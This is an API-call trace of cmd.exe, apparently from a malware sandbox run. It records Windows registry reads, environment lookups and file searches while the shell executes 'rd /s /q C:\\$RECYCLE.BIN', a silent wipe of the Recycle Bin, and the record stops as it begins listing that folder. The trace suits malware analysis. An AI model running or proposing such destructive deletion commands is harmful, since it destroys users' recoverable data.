	[0068.942] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.942] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x841b4fe938 | out: phkResult=0x841b4fe938*=0x7c) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x4, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x1, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x1, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x0, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x40, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x40, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x40, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.942] RegCloseKey (hKey=0x7c) returned 0x0
	[0068.942] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x841b4fe938 | out: phkResult=0x841b4fe938*=0x7c) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x40, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x1, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x1, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x0, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.942] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x9, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.943] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x4, lpData=0x841b4fe950*=0x9, lpcbData=0x841b4fe934*=0x4) returned 0x0
	[0068.943] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x841b4fe930, lpData=0x841b4fe950, lpcbData=0x841b4fe934*=0x1000 | out: lpType=0x841b4fe930*=0x0, lpData=0x841b4fe950*=0x9, lpcbData=0x841b4fe934*=0x1000) returned 0x2
	[0068.943] RegCloseKey (hKey=0x7c) returned 0x0
	[0068.943] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea0f89
	[0068.943] srand (_Seed=0x5fea0f89) 
	[0068.943] GetCommandLineW () returned="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	[0068.943] malloc (_Size=0x4000) returned 0x1bc491354f0
	[0068.943] GetCommandLineW () returned="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	[0068.943] malloc (_Size=0xffce) returned 0x1bc48fd0080
	[0068.944] ??_V@YAXPEAX@Z () returned 0x1bc48fd0080
	[0068.944] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bc48fd0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.945] malloc (_Size=0xffce) returned 0x1bc48fe0060
	[0068.945] ??_V@YAXPEAX@Z () returned 0x1bc48fe0060
	[0068.945] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bc48fe0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0068.946] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0068.946] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0068.946] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0068.946] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0068.946] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0068.948] GetProcessHeap () returned 0x1bc48ed0000
	[0068.948] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ed6460) returned 1
	[0068.948] GetEnvironmentStringsW () returned 0x1bc48ed8470*
	[0068.948] GetProcessHeap () returned 0x1bc48ed0000
	[0068.948] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xa94) returned 0x1bc48ed59d0
	[0068.948] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.948] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0068.948] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0068.949] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0068.949] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0068.949] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0068.949] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0068.949] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0068.949] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0068.949] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0068.949] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0068.949] malloc (_Size=0xffce) returned 0x1bc48ff0040
	[0068.949] ??_V@YAXPEAX@Z () returned 0x1bc48ff0040
	[0068.950] GetProcessHeap () returned 0x1bc48ed0000
	[0068.950] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x40) returned 0x1bc48ed6470
	[0068.950] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bc48ff0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1bc48ff0040, lpFilePart=0x841b4ff4b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x841b4ff4b0*="Desktop") returned 0x17
	[0068.951] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0068.951] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x841b4ff1e0 | out: lpFindFileData=0x841b4ff1e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1bc48ed64c0
	[0068.951] FindClose (in: hFindFile=0x1bc48ed64c0 | out: hFindFile=0x1bc48ed64c0) returned 1
	[0068.951] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x841b4ff1e0 | out: lpFindFileData=0x841b4ff1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1bc48ed64c0
	[0068.951] FindClose (in: hFindFile=0x1bc48ed64c0 | out: hFindFile=0x1bc48ed64c0) returned 1
	[0068.951] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x841b4ff1e0 | out: lpFindFileData=0x841b4ff1e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd60f1e6, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0xd60f1e6, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1bc48ed64c0
	[0068.952] FindClose (in: hFindFile=0x1bc48ed64c0 | out: hFindFile=0x1bc48ed64c0) returned 1
	[0068.952] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0068.952] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0068.952] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0068.952] GetProcessHeap () returned 0x1bc48ed0000
	[0068.952] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ed59d0) returned 1
	[0068.952] GetEnvironmentStringsW () returned 0x1bc48ed8f50*
	[0068.952] GetProcessHeap () returned 0x1bc48ed0000
	[0068.952] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xacc) returned 0x1bc48ed9a30
	[0068.952] FreeEnvironmentStringsA (penv="=") returned 1
	[0068.952] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bc48fd0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0068.953] GetProcessHeap () returned 0x1bc48ed0000
	[0068.953] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ed6470) returned 1
	[0068.953] ??_V@YAXPEAX@Z () returned 0x1
	[0068.953] ??_V@YAXPEAX@Z () returned 0x1
	[0068.953] GetProcessHeap () returned 0x1bc48ed0000
	[0068.953] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x4016) returned 0x1bc48eda510
	[0068.953] GetProcessHeap () returned 0x1bc48ed0000
	[0068.953] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x4c) returned 0x1bc48ed0fc0
	[0068.953] GetProcessHeap () returned 0x1bc48ed0000
	[0068.953] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x4010) returned 0x1bc48ede530
	[0068.954] GetProcessHeap () returned 0x1bc48ed0000
	[0068.954] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x4010) returned 0x1bc48ee2550
	[0068.955] _wcsnicmp (_String1="rd /", _String2="cmd ", _MaxCount=0x4) returned 15
	[0068.955] malloc (_Size=0xffce) returned 0x1bc48fe0060
	[0068.955] ??_V@YAXPEAX@Z () returned 0x1bc48fe0060
	[0068.955] GetProcessHeap () returned 0x1bc48ed0000
	[0068.955] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x1ffac) returned 0x1bc48ee6570
	[0068.958] SetErrorMode (uMode=0x0) returned 0x8003
	[0068.958] SetErrorMode (uMode=0x1) returned 0x0
	[0068.958] GetFullPathNameW (in: lpFileName="rd \\s \\q C:\\\\.", nBufferLength=0xffce, lpBuffer=0x1bc48ee6580, lpFilePart=0x841b4ff5f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\rd \\s \\q C:", lpFilePart=0x841b4ff5f0*="q C:") returned 0x23
	[0068.958] SetErrorMode (uMode=0x8003) returned 0x1
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlReAllocateHeap (Heap=0x1bc48ed0000, Flags=0x0, Ptr=0x1bc48ee6570, Size=0x72) returned 0x1bc48ee6570
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlSizeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, MemoryPointer=0x1bc48ee6570) returned 0x72
	[0068.958] NeedCurrentDirectoryForExePathW (ExeName="rd \\s \\q C:\\\\.") returned 1
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x5e) returned 0x1bc48ed1020
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xa8) returned 0x1bc48ed1090
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlReAllocateHeap (Heap=0x1bc48ed0000, Flags=0x0, Ptr=0x1bc48ed1090, Size=0x5e) returned 0x1bc48ed1090
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.958] RtlSizeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, MemoryPointer=0x1bc48ed1090) returned 0x5e
	[0068.958] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0068.958] GetProcessHeap () returned 0x1bc48ed0000
	[0068.959] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xe8) returned 0x1bc48ed1100
	[0069.004] GetProcessHeap () returned 0x1bc48ed0000
	[0069.004] RtlReAllocateHeap (Heap=0x1bc48ed0000, Flags=0x0, Ptr=0x1bc48ed1100, Size=0x7e) returned 0x1bc48ed1100
	[0069.004] GetProcessHeap () returned 0x1bc48ed0000
	[0069.004] RtlSizeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, MemoryPointer=0x1bc48ed1100) returned 0x7e
	[0069.004] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0069.004] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\rd \\s \\q C:\\$RECYCLE.BIN", fInfoLevelId=0x1, lpFindFileData=0x841b4ff360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x841b4ff360) returned 0xffffffffffffffff
	[0069.005] GetLastError () returned 0x7b
	[0069.005] ??_V@YAXPEAX@Z () returned 0x1
	[0069.005] GetProcessHeap () returned 0x1bc48ed0000
	[0069.005] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ede530) returned 1
	[0069.006] GetProcessHeap () returned 0x1bc48ed0000
	[0069.006] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48ee2550) returned 1
	[0069.007] GetProcessHeap () returned 0x1bc48ed0000
	[0069.007] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48eda510) returned 1
	[0069.007] GetConsoleOutputCP () returned 0x1b5
	[0069.019] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0069.019] GetUserDefaultLCID () returned 0x409
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff79f78bb78, cchData=8 | out: lpLCData=":") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x841b4ff870, cchData=128 | out: lpLCData="0") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x841b4ff870, cchData=128 | out: lpLCData="0") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x841b4ff870, cchData=128 | out: lpLCData="1") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff79f78bb68, cchData=8 | out: lpLCData="/") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff79f78bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff79f78bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff79f78ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff79f78ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff79f78ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff79f78b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff79f78b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff79f78bb58, cchData=8 | out: lpLCData=".") returned 2
	[0069.020] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff79f78bb40, cchData=8 | out: lpLCData=",") returned 2
	[0069.020] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0069.021] GetProcessHeap () returned 0x1bc48ed0000
	[0069.021] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, Size=0x20c) returned 0x1bc48ed1200
	[0069.021] GetConsoleTitleW (in: lpConsoleTitle=0x1bc48ed1200, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0069.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0069.023] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830
	[0069.023] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300
	[0069.023] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40
	[0069.023] ??_V@YAXPEAX@Z () returned 0x1
	[0069.024] GetProcessHeap () returned 0x1bc48ed0000
	[0069.024] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x4012) returned 0x1bc48eda510
	[0069.024] GetProcessHeap () returned 0x1bc48ed0000
	[0069.024] RtlFreeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, BaseAddress=0x1bc48eda510) returned 1
	[0069.024] _wcsicmp (_String1="rd", _String2=")") returned 73
	[0069.024] _wcsicmp (_String1="FOR", _String2="rd") returned -12
	[0069.024] _wcsicmp (_String1="FOR/?", _String2="rd") returned -12
	[0069.024] _wcsicmp (_String1="IF", _String2="rd") returned -9
	[0069.024] _wcsicmp (_String1="IF/?", _String2="rd") returned -9
	[0069.024] _wcsicmp (_String1="REM", _String2="rd") returned 1
	[0069.024] _wcsicmp (_String1="REM/?", _String2="rd") returned 1
	[0069.024] GetProcessHeap () returned 0x1bc48ed0000
	[0069.024] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xb0) returned 0x1bc48ed1420
	[0069.024] GetProcessHeap () returned 0x1bc48ed0000
	[0069.024] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x16) returned 0x1bc48ed14e0
	[0069.026] GetProcessHeap () returned 0x1bc48ed0000
	[0069.026] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x40) returned 0x1bc48ed1500
	[0069.027] GetConsoleTitleW (in: lpConsoleTitle=0x841b4ff760, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0069.029] malloc (_Size=0xffce) returned 0x1bc48fe0060
	[0069.029] ??_V@YAXPEAX@Z () returned 0x1bc48fe0060
	[0069.030] malloc (_Size=0xffce) returned 0x1bc48ff0040
	[0069.030] ??_V@YAXPEAX@Z () returned 0x1bc48ff0040
	[0069.030] _wcsicmp (_String1="rd", _String2="DIR") returned 14
	[0069.030] _wcsicmp (_String1="rd", _String2="ERASE") returned 13
	[0069.030] _wcsicmp (_String1="rd", _String2="DEL") returned 14
	[0069.030] _wcsicmp (_String1="rd", _String2="TYPE") returned -2
	[0069.030] _wcsicmp (_String1="rd", _String2="COPY") returned 15
	[0069.030] _wcsicmp (_String1="rd", _String2="CD") returned 15
	[0069.030] _wcsicmp (_String1="rd", _String2="CHDIR") returned 15
	[0069.031] _wcsicmp (_String1="rd", _String2="RENAME") returned -1
	[0069.031] _wcsicmp (_String1="rd", _String2="REN") returned -1
	[0069.031] _wcsicmp (_String1="rd", _String2="ECHO") returned 13
	[0069.031] _wcsicmp (_String1="rd", _String2="SET") returned -1
	[0069.031] _wcsicmp (_String1="rd", _String2="PAUSE") returned 2
	[0069.031] _wcsicmp (_String1="rd", _String2="DATE") returned 14
	[0069.031] _wcsicmp (_String1="rd", _String2="TIME") returned -2
	[0069.031] _wcsicmp (_String1="rd", _String2="PROMPT") returned 2
	[0069.031] _wcsicmp (_String1="rd", _String2="MD") returned 5
	[0069.031] _wcsicmp (_String1="rd", _String2="MKDIR") returned 5
	[0069.031] _wcsicmp (_String1="rd", _String2="RD") returned 0
	[0069.031] ??_V@YAXPEAX@Z () returned 0x1
	[0069.031] GetProcessHeap () returned 0x1bc48ed0000
	[0069.031] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x70) returned 0x1bc48ed1550
	[0069.033] GetProcessHeap () returned 0x1bc48ed0000
	[0069.033] RtlReAllocateHeap (Heap=0x1bc48ed0000, Flags=0x0, Ptr=0x1bc48ed1550, Size=0x44) returned 0x1bc48ed1550
	[0069.033] GetProcessHeap () returned 0x1bc48ed0000
	[0069.033] RtlSizeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, MemoryPointer=0x1bc48ed1550) returned 0x44
	[0069.033] GetProcessHeap () returned 0x1bc48ed0000
	[0069.033] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x46) returned 0x1bc48ed15b0
	[0069.033] malloc (_Size=0xffd2) returned 0x1bc48ff0040
	[0069.033] ??_V@YAXPEAX@Z () returned 0x1bc48ff0040
	[0069.033] GetProcessHeap () returned 0x1bc48ed0000
	[0069.033] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x70) returned 0x1bc48ed1600
	[0069.035] GetProcessHeap () returned 0x1bc48ed0000
	[0069.035] RtlReAllocateHeap (Heap=0x1bc48ed0000, Flags=0x0, Ptr=0x1bc48ed1600, Size=0x44) returned 0x1bc48ed1600
	[0069.035] GetProcessHeap () returned 0x1bc48ed0000
	[0069.035] RtlSizeHeap (HeapHandle=0x1bc48ed0000, Flags=0x0, MemoryPointer=0x1bc48ed1600) returned 0x44
	[0069.035] GetProcessHeap () returned 0x1bc48ed0000
	[0069.035] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x32) returned 0x1bc48ed1660
	[0069.035] GetCurrentDirectoryW (in: nBufferLength=0x7fe9, lpBuffer=0x1bc48ff0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0069.035] malloc (_Size=0xffce) returned 0x1bc49000020
	[0069.036] ??_V@YAXPEAX@Z () returned 0x1bc49000020
	[0069.036] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN", lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc48ed16a0
	[0069.036] FindClose (in: hFindFile=0x1bc48ed16a0 | out: hFindFile=0x1bc48ed16a0) returned 1
	[0069.036] FindFirstFileW (in: lpFileName="C:\\\\$RECYCLE.BIN\\*", lpFindFileData=0x841b4fef40 | out: lpFindFileData=0x841b4fef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x40, cFileName=".", cAlternateFileName="")) returned 0x1bc48ed16a0
